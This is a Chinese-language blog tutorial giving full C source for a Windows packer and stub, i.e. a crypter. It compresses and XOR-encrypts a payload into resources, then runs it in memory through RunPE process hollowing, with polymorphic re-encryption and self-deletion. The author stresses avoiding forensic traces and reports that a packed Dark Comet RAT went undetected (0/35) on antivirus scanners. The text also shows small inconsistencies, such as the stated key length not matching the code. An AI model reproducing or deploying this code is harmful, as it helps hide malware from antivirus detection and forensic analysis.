深入分析PE可执行文件是如何进行加壳和数据混淆的

在本文,我们将以一个可执行文件的压缩过程为例,详细讲解我在过去的两天之中时如何对它进行加壳的。就像是Crypters一样,我认为这一过程仿佛是地下社团开展的某种暗黑艺术。尽管目前,存在着很多可以公开的加壳器(Packer,例如UPXThemida等),但我还没有看到过有讲解如何编写它们的文章。正巧,我前几天阅读了Gunther写的《C83中如何写一个简单的可执行文件加壳器》,受这篇文章的启发,我开始进一步研究这个神秘的话题。通过阅读这篇文章,我希望大家能够至少对这些主流加壳工具的功能有所理解。

要阅读本文,可能需要大量的Windows编程知识,需要读者具有以下基础:

1. 熟练使用C/C++

2. 了解WinAPI及其官方文档;

3. 具备基本的密码学知识;

4. 具有文件压缩的相关知识;

5. 了解PE文件结构。

 

关于加壳器

所谓加壳器,是利用其特殊优势,借助压缩以混淆数据等方式,防止诸如反汇编之类的逆向工程的一种工具。由于其具有数据混淆的特性,所以恶意软件开发者会利用它,将恶意代码隐藏在可执行文件之中,逃避反病毒软件的检测。这种行为就像是对混淆后的数据进行了一次加密。同时,在进一步进行压缩的过程中,加壳器还可以利用一些加密方法,来提供双层混淆。让我们首先来看看某个可执行文件的压缩过程,我们会以直观的方式来展现:

加壳器负责压缩(和加密)Payload

壳(Stub)是可执行文件的一部分,其作用在于提取(解密、解压缩)Payload,以供执行。

 

如何编写加壳器

加壳器需要压缩并加密Payload,然后将其添加到壳中。下面展示了一个可行的加壳器设计方案。

加壳器的伪代码(算法描述语言)如下:

第一步:将Payload文件读入缓冲区;

第二步:使用指向缓冲区的指针及其原大小来更新结构;

第三步:压缩Payload缓冲区;

第四步:加密缓冲区;

第五步:创建壳(Stub)输出文件;

第六步:通过添加Payload缓冲区来更新壳。

以下是该方案对应的具体代码:

#include <stdio.h>
#include <stdarg.h>
#include <windows.h>
#include <wincrypt.h>
#include <zlib.h>
#include "resource.h"
#define WIN32_LEAN_AND_MEAN
#define DEBUG
#define DEBUG_TITLE "STUB - DEBUG MESSAGE"
#define BUFFER_RSRC_ID 10
#define FILE_SIZE_RSRC_ID 20
#define KEY_RSRC_ID 30
#define KEY_LEN 64
typedef struct _FileStruct {
    PBYTE pBuffer;
    DWORD dwBufSize;
    DWORD dwFileSize;
    PBYTE pKey;
} FileStruct, *pFileStruct;
VOID Debug(LPCSTR fmt, ...) {
#ifdef DEBUG
    va_list args;
    va_start(args, fmt);
    vprintf(fmt, args);
    va_end(args);
#endif
}
FileStruct *LoadFile(LPCSTR szFileName) {
    Debug("Loading %s...n", szFileName);
    Debug("Initializing struct...n");
    FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));
    if (fs == NULL) {
        Debug("Create %s file structure error: %lun", szFileName, GetLastError());
        return NULL;
    }
    Debug("Initializing file...n");
    // get file handle to file
    HANDLE hFile = CreateFile(szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        Debug("Create file error: %lun", GetLastError());
        free(fs);
        return NULL;
    }
    // get file size
    Debug("Retrieving file size...n");
    fs->dwFileSize = GetFileSize(hFile, NULL);
    if (fs->dwFileSize == INVALID_FILE_SIZE) {
        Debug("Get file size error: %lun", GetLastError());
        CloseHandle(hFile);
        free(fs);
        return NULL;
    }
    fs->dwBufSize = fs->dwFileSize;
    // create heap buffer to hold file contents
    fs->pBuffer = (PBYTE)malloc(fs->dwFileSize);
    if (fs->pBuffer == NULL) {
        Debug("Create buffer error: %lun", GetLastError());
        CloseHandle(hFile);
        free(fs);
        return NULL;
    }
    // read file contents
    Debug("Reading file contents...n");
    DWORD dwRead = 0;
    if (ReadFile(hFile, fs->pBuffer, fs->dwFileSize, &dwRead, NULL) == FALSE) {
        Debug("Read file error: %lun", GetLastError());
        CloseHandle(hFile);
        free(fs);
        return NULL;
    }
    Debug("Read 0x%08x bytesnn", dwRead);
    // clean up
    CloseHandle(hFile);
    return fs;
}
BOOL UpdateStub(LPCSTR szFileName, FileStruct *fs) {
    // start updating stub's resources
    HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);
    // add file as a resource to stub
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(BUFFER_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pBuffer, fs->dwBufSize) == FALSE) {
        Debug("Update resource error: %lun", GetLastError());
        return FALSE;
    }
    // add file size as a resource to stub
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(FILE_SIZE_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PVOID)&fs->dwFileSize, sizeof(DWORD)) == FALSE) {
        Debug("Update resource error: %lun", GetLastError());
        return FALSE;
    }
    // add decryption key as a resource
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(KEY_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pKey, KEY_LEN) == FALSE) {
        Debug("Update resource error: %lun", GetLastError());
        return FALSE;
    }
    EndUpdateResource(hUpdate, FALSE);
    return TRUE;
}
BOOL BuildStub(LPCSTR szFileName, FileStruct *fs) {
    Debug("Building stub: %s...n", szFileName);
    // get stub program as a resource
    HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(1), "STUB");
    if (hRsrc == NULL) {
        Debug("Find stub resource error: %lun", GetLastError());
        return FALSE;
    }
    DWORD dwSize = SizeofResource(NULL, hRsrc);
    HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        Debug("Load stub resource error: %lun", GetLastError());
        return FALSE;
    }
    // get stub's file content
    PBYTE pBuffer = (PBYTE)LockResource(hGlobal);
    if (pBuffer == NULL) {
        Debug("Lock stub resource error: %lun", GetLastError());
        return FALSE;
    }
    // create output file
    Debug("Creating stub...n");
    HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        Debug("Create stub error: %lun", GetLastError());
        free(pBuffer);
        return FALSE;   
    }
    // write stub content to output file
    Debug("Writing payload to stub...n");
    DWORD dwWritten = 0;
    if (WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL) == FALSE) {
        Debug("Write payload to stub error: %lun", GetLastError());
        CloseHandle(hFile);
        free(pBuffer);
        return FALSE;
    }
    Debug("Wrote 0x%08x bytesnn");
    CloseHandle(hFile);
    // add payload to stub
    Debug("Updating stub with payload...n");
    if (UpdateStub(szFileName, fs) == FALSE)
        return FALSE;
    return TRUE;
}
BOOL GenerateKey(FileStruct *fs) {
    fs->pKey = (PBYTE)malloc(KEY_LEN);
    if (fs->pKey == NULL) return FALSE;
    // initialize crypto service provider
    HCRYPTPROV hProv = NULL;
    if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0) == FALSE) {
        Debug("Crypt aquire context error: %lun", GetLastError());
        free(fs->pKey);
        return FALSE;
    }
    // generate secure bytes
    Debug("Generating cryptographically secure bytes...n");
    if (CryptGenRandom(hProv, KEY_LEN, fs->pKey) == FALSE) {
        Debug("Generate random key error: %lun", GetLastError());
        free(fs->pKey);
        return FALSE;
    }
    Debug("Using key: ");
    for (int i = 0; i < KEY_LEN; i++)
        Debug("0x%02x ", fs->pKey[i]);
    Debug("n");
    // clean up
    CryptReleaseContext(hProv, 0);
    return TRUE;
}
// XOR
BOOL EncryptPayload(FileStruct *fs) {
    Debug("EncryptPayloading payload...n");
    Debug("Generating key...n");
    if (GenerateKey(fs) == FALSE) return FALSE;
    for (DWORD i = 0; i < fs->dwBufSize; i++)
        fs->pBuffer[i] ^= fs->pKey[i % KEY_LEN];
    Debug("EncryptPayloadion routine completen");
    return TRUE;
}
BOOL CompressPayload(FileStruct *fs) {
    Debug("Compressing payload...n");
    PBYTE pCompressedBuffer = (PBYTE)malloc(fs->dwBufSize);
    ULONG ulCompressedBufSize = compressBound((ULONG)fs->dwBufSize);
    compress(pCompressedBuffer, &ulCompressedBufSize, fs->pBuffer, fs->dwBufSize);
    fs->pBuffer = pCompressedBuffer;
    fs->dwBufSize = ulCompressedBufSize;
    Debug("Compression routine completen");
    return TRUE;
}
int main(int argc, char *argv[]) {
    printf("Copyright (C) 2016  93aef0ce4dd141ece6f5nn");
    if (argc < 3) {
        Debug("Usage: %s [INPUT FILE] [OUTPUT FILE]n", argv[0]);
        return 1;
    }
    FileStruct *fs = LoadFile(argv[1]);
    if (fs == NULL) return 1;
    Debug("Applying obfuscation...n");
    if (CompressPayload(fs) == FALSE) {
        free(fs);
        return 1;
    }
    if (EncryptPayload(fs) == FALSE) {
        free(fs);
        return 1;
    }
    Debug("n");
    if (BuildStub(argv[2], fs) == FALSE) {
        free(fs->pKey);
        free(fs);
        return 1;
    }
    // clean up
    free(fs->pKey);
    free(fs);
    Debug("nDonen");
    return 0;
}

其中,CompressPayload函数使用了zLib第三方压缩库,以在Payload缓冲区上进行压缩操作。

EncryptPayload函数则简单地使用了XOR的加密方式作为示例。在实际应用中,大家完全可以使用RC4或者AES之类的加密方式来替代XOR。该函数中还有一个GenerateKey函数,在每次程序执行时,它都会借助WinAPI的密码库(Cryptography Library),通过使用CSPRNG,来生成唯一的32位长度密钥。

BuildStub函数负责在壳中创建并添加资源。这些资源时存储在_FileStruct文件结构中的信息,是在壳本身的例程中所必须的。这些资源将会在壳代码被覆盖之后直观地展示出来。

如何编写壳

壳的作用在于提取并执行Payload。我们需要注意的是,壳所执行的,是加壳器所执行的反向操作。下面是一个可行的设计方案。

壳的伪代码如下:

第一步:提取资源;

第二步:解密Payload缓冲区;

第三步:解压缩缓冲区;

第四步:放置Payload

第五步:执行Payload

以下是该方案对应的具体代码:

#include <stdio.h>
#include <string.h>
#include <stdarg.h>
#include <windows.h>
#include <wincrypt.h>
#include <zlib.h>
#define WIN32_LEAN_AND_MEAN
#define DEBUG
#define DEBUG_TITLE "STUB - DEBUG MESSAGE"
#define BUFFER_RSRC_ID 10
#define FILE_SIZE_RSRC_ID 20
#define KEY_RSRC_ID 30
#define KEY_LEN 64
typedef VOID(*PZUVOS)(HANDLE, PVOID);

typedef struct _FileStruct {
    PBYTE pBuffer;
    DWORD dwBufSize;
    DWORD dwFileSize;
    PBYTE pKey;
} FileStruct, *pFileStruct;
VOID Debug(LPCSTR fmt, ...) {
#ifdef DEBUG
    CHAR szDebugBuf[BUFSIZ];
    va_list args;
    va_start(args, fmt);
    vsprintf(szDebugBuf, fmt, args);
    MessageBox(NULL, szDebugBuf, DEBUG_TITLE, MB_OK);
    va_end(args);
#endif
}
FileStruct *ExtractPayload(VOID) {
    FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));
    if (fs == NULL) return NULL;
    // get file buffer
    // get size of resource
    HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(BUFFER_RSRC_ID), RT_RCDATA);
    if (hRsrc == NULL) {
        Debug("Find buffer resource error: %lun", GetLastError());
        free(fs);
        return NULL;
    }
    fs->dwBufSize = SizeofResource(NULL, hRsrc);
    // get pointer to resource buffer
    HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        Debug("Load buffer resource error: %lun", GetLastError());
        free(fs);
        return NULL;
    }
    fs->pBuffer = (PBYTE)LockResource(hGlobal);
    if (fs->pBuffer == NULL) {
        Debug("Lock buffer resource error: %lun", GetLastError());
        free(fs);
        return NULL;
    }
    // get actual file size resource
    hRsrc = FindResource(NULL, MAKEINTRESOURCE(FILE_SIZE_RSRC_ID), RT_RCDATA);
    if (hRsrc == NULL) {
        Debug("Find file size error: %lun", GetLastError());
        free(fs);
        return NULL;
    }
    // get file size value
    hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        Debug("Load buffer resource error: %lun", GetLastError());
        free(fs);
        return NULL;
    }
    fs->dwFileSize = *(LPDWORD)LockResource(hGlobal);
    // get decryption key
    hRsrc = FindResource(NULL, MAKEINTRESOURCE(KEY_RSRC_ID), RT_RCDATA);
    if (hRsrc == NULL) {
        Debug("Find key resource error: %lun", GetLastError());
        free(fs);
        return NULL;
    }
    // get pointer to key buffer
    hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        Debug("Load key resource error: %lun", GetLastError());
        free(fs);
        return NULL;
    }
    fs->pKey = (PBYTE)LockResource(hGlobal);
    if (fs->pKey == NULL) {
        Debug("Lock buffer resource error: %lun", GetLastError());
        free(fs);
        return NULL;
    }
    return fs;
}
BOOL UpdateResources(FileStruct *fs, LPCSTR szFileName) {
    HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);
    // add file as a resource to stub
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(BUFFER_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pBuffer, fs->dwBufSize) == FALSE) {
        Debug("Update resource error: %lun", GetLastError());
        return FALSE;
    }
    // add decryption key as a resource
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(KEY_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pKey, KEY_LEN) == FALSE) {
        Debug("Update resource error: %lun", GetLastError());
        return FALSE;
    }
    if (EndUpdateResource(hUpdate, FALSE) == FALSE) {
        Debug("End update resource error: %lun", GetLastError());
    }
    return TRUE;
}
BOOL GenerateKey(FileStruct *fs) {
    fs->pKey = (PBYTE)malloc(KEY_LEN);
    if (fs->pKey == NULL) return FALSE;
    // initialize crypto service provider
    HCRYPTPROV hProv = NULL;
    if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0) == FALSE) {
        Debug("Crypt aquire context error: %lun", GetLastError());
        free(fs->pKey);
        return FALSE;
    }
    // generate secure bytes
    //Debug("Generating cryptographically secure bytes...n");
    if (CryptGenRandom(hProv, KEY_LEN, fs->pKey) == FALSE) {
        Debug("Generate random key error: %lun", GetLastError());
        free(fs->pKey);
        return FALSE;
    }
    /*
    Debug("Using key: ");
    for (int i = 0; i < KEY_LEN; i++)
        Debug("0x%02x ", fs->pKey[i]);
    Debug("n");
    */
    // clean up
    CryptReleaseContext(hProv, 0);
    return TRUE;
}
// XOR
BOOL DecryptPayload(FileStruct *fs) {
    PBYTE pDecryptPayloadedBuffer = (PBYTE)malloc(fs->dwBufSize);
    if (pDecryptPayloadedBuffer == NULL) return FALSE;
    for (DWORD i = 0; i < fs->dwBufSize; i++)
        pDecryptPayloadedBuffer[i] = fs->pBuffer[i] ^ fs->pKey[i % KEY_LEN];
    fs->pBuffer = pDecryptPayloadedBuffer;
    return TRUE;
}
// XOR
BOOL Encrypt(FileStruct *fs) {
    return DecryptPayload(fs);
}
BOOL DecompressPayload(FileStruct *fs) {
    PBYTE pDecompressedBuffer = (PBYTE)malloc(fs->dwFileSize);
    ULONG ulDecompressedBufSize;
    uncompress(pDecompressedBuffer, &ulDecompressedBufSize, fs->pBuffer, fs->dwFileSize);
    fs->pBuffer = pDecompressedBuffer;
    fs->dwBufSize = ulDecompressedBufSize;
    return TRUE;
}
VOID DropAndExecutePayload(FileStruct *fs, LPCSTR szFileName) {
    DWORD dwWritten;
    HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    WriteFile(hFile, fs->pBuffer, fs->dwFileSize, &dwWritten, NULL);
    CloseHandle(hFile);
    ShellExecute(NULL, NULL, szFileName, NULL, NULL, SW_NORMAL);
}
BOOL MemoryExecutePayload(FileStruct *fs) {
    // PE headers
    PIMAGE_DOS_HEADER pidh;
    PIMAGE_NT_HEADERS pinh;
    PIMAGE_SECTION_HEADER pish;
    // process info
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    // pointer to virtually allocated memory
    LPVOID lpAddress = NULL;
    // context of suspended thread for setting address of entry point
    CONTEXT context;
    // need function pointer for ZwUnmapViewOfSection from ntdll.dll
    PZUVOS pZwUnmapViewOfSection = NULL;
    // get file name
    CHAR szFileName[MAX_PATH];
    GetModuleFileName(NULL, szFileName, MAX_PATH);
    // first extract header info
    // check if valid DOS header
    pidh = (PIMAGE_DOS_HEADER)fs->pBuffer;
    if (pidh->e_magic != IMAGE_DOS_SIGNATURE) {
        Debug("DOS signature error");
        return FALSE;
    }
    // check if valid pe file
    pinh = (PIMAGE_NT_HEADERS)((DWORD)fs->pBuffer + pidh->e_lfanew);
    if (pinh->Signature != IMAGE_NT_SIGNATURE) {
        Debug("PE signature error");
        return FALSE;
    }
    // first create process as suspended
    memset(&si, 0, sizeof(si));
    memset(&pi, 0, sizeof(pi));
    si.cb = sizeof(si);
    if (CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
        Debug("Create process error %lun", GetLastError());
        return FALSE;
    }
    context.ContextFlags = CONTEXT_FULL;
    if (GetThreadContext(pi.hThread, &context) == FALSE) {
        Debug("Get thread context");
    }
    // unmap memory space for our process
    pZwUnmapViewOfSection = (PZUVOS)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
    pZwUnmapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);
    // allocate virtual space for process
    lpAddress = VirtualAllocEx(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (lpAddress == NULL) {
        Debug("Virtual alloc error: %lun", GetLastError());
        return FALSE;
    }
    // write headers into memory
    if (WriteProcessMemory(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, fs->pBuffer, pinh->OptionalHeader.SizeOfHeaders, NULL) == FALSE) {
        Debug ("Write headers error: %lun", GetLastError());
        return FALSE;
    }
    // write each section into memory
    for (int i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
        // calculate section header of each section
        pish = (PIMAGE_SECTION_HEADER)((DWORD)fs->pBuffer + pidh->e_lfanew + sizeof (IMAGE_NT_HEADERS) + sizeof (IMAGE_SECTION_HEADER) * i);
        // write section data into memory
        WriteProcessMemory(pi.hProcess, (PVOID)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), (LPVOID)((DWORD)fs->pBuffer + pish->PointerToRawData), pish->SizeOfRawData, NULL);
    }
    // set starting address at virtual address: address of entry point
    context.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
    if (SetThreadContext(pi.hThread, &context) == FALSE) {
        Debug("Set thread context error: %lun", GetLastError());
        return FALSE;
    }
    // resume our suspended processes
    if (ResumeThread(pi.hThread) == -1) {
        Debug("Resume thread error: %lun", GetLastError());
        return FALSE;
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}
/*
VOID RunFromMemory(FileStruct *fs) {
    Debug("%p", fs->pBuffer);
    HMEMORYMODULE hModule = MemoryLoadLibrary(fs->pBuffer, fs->dwFileSize);
    if (hModule == NULL) {
        Debug("Memory load library error: %lun", GetLastError());
        return;
    }
    int nSuccess = MemoryCallEntryPoint(hModule);
    if (nSuccess < 0) {
        Debug("Memory call entry point error: %dn", nSuccess);
    }
    MemoryFreeLibrary(hModule);
}
*/
VOID SelfDelete(LPCSTR szFileName) {
    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFO si = { 0 };
    si.cb = sizeof(si);
    //CreateFile("old.exe", 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
    CHAR szCmdLine[MAX_PATH];
    sprintf(szCmdLine, "%s delete", szFileName);
    if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi) == FALSE) {
        Debug("Create process error: %lun", GetLastError());
    }
}
BOOL PolymorphPayload(LPCSTR szFileName) {
    MoveFile(szFileName, "old.exe");
    CopyFile("old.exe", szFileName, FALSE);
    // re-extract resources
    FileStruct *fs = ExtractPayload();
    if (fs == NULL) return FALSE;
    // decrypt buffer
    if (DecryptPayload(fs) == FALSE) {
        Debug("DecryptPayload buffer error: %lun", GetLastError());
        free(fs);
        return FALSE;
    }
    // generate new key
    if (GenerateKey(fs) == FALSE) {
        Debug("Generate key error: %lun", GetLastError());
        free(fs);
        return FALSE;
    }
    // encrypt with new key
    if (Encrypt(fs) == FALSE) {
        Debug("Encrypt buffer error: %lun", GetLastError());
        free(fs->pKey);
        return FALSE;
    }
    // update resources
    if (UpdateResources(fs, szFileName) == FALSE) {
        free(fs->pKey);
        free(fs);
        return FALSE;
    }
    SelfDelete(szFileName);
    free(fs->pKey);
    free(fs);
    return TRUE;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
    if (strstr(GetCommandLine(), "delete") != NULL) {
        while (DeleteFile("old.exe") == FALSE);
    } else {
        FileStruct *fs = ExtractPayload();
        if (fs == NULL) {
            Debug("Extract file error: %lun", GetLastError());
            return 1;
        }
        if (DecryptPayload(fs) == TRUE) {
            if (DecompressPayload(fs) == TRUE)
                //DropAndExecutePayload(fs, "test.exe");
                MemoryExecutePayload(fs);
        }
        free(fs->pBuffer);
        free(fs);
        CHAR szFileName[MAX_PATH];
        GetModuleFileName(NULL, szFileName, MAX_PATH);
        PolymorphPayload(szFileName);
    }
    return 0;
}

壳的原理非常简单,就是执行加壳器的反向操作。当它将必要信息从资源中提取到结构之中后,首先会进行解密,随后通过使用DecryptPayloadDecompressPayload函数来解压缩缓冲区,以实现对Payload进行反混淆。在成功进行反混淆操作后,壳会将可执行文件放在同一个目录中,并执行该文件。在这里,我们如果使用RunPE或者Dynamic Forking的方法,就可以消除磁盘活动记录,以阻止恶意软件被取证。

 

资源及PE文件的格式

以下是针对文件中的资源,进行的一个简要文件分析:

其中箭头所指的就是资源段(.rsrc),其中的内容就是添加到二进制文件中的资源。左边红色方框中的标签,代表着PE文件中存在的不同资源。目前,PEView可以显示资源ID000ARCDATA(原始数据),从上面的代码中我们可以看出,它其实是混淆后的Payload

这是XOR加密方式的32字节密钥。

 

演示

下面是一个使用putty.exe作为Payload的简单演示。

首先,启动加壳器,创建壳,并且对Payload进行混淆。

目前,putty.exe的大小是512KB,其中的壳大小为318KB。现在,我们就可以启动生成的壳。

如上图所示,它产生了反混淆后的Payload——test.exe并执行。

 

后续开发工作

后来,我增加了直接从内存中执行有包装的Payload的功能。具体而言,我将RunPE中的方法添加到了我的加壳器之中,并且使用MinGW编译,结果证明它可以完美地运行。下面是Dark Comet远控木马加壳后扫描的结果。

Majyx检测平台(0/35):

NoDistribute检测平台(0/35):

同时,我还增加了对于Polymorph方式包装Payload的支持。概括来说,就是用一个新的密钥来重新加密压缩的Payload

 

结语

在我的研究过程中,遇到的唯一一个困难就是如何去理解资源管理(Resource Management)。除此之外,涉及到的内容都相对简单。我已经将涉及到的文件上传至我的GitHub,其中包括一个已经编译好的32位可执行文件,供大家参考。

最后,感谢大家的阅读。

(完)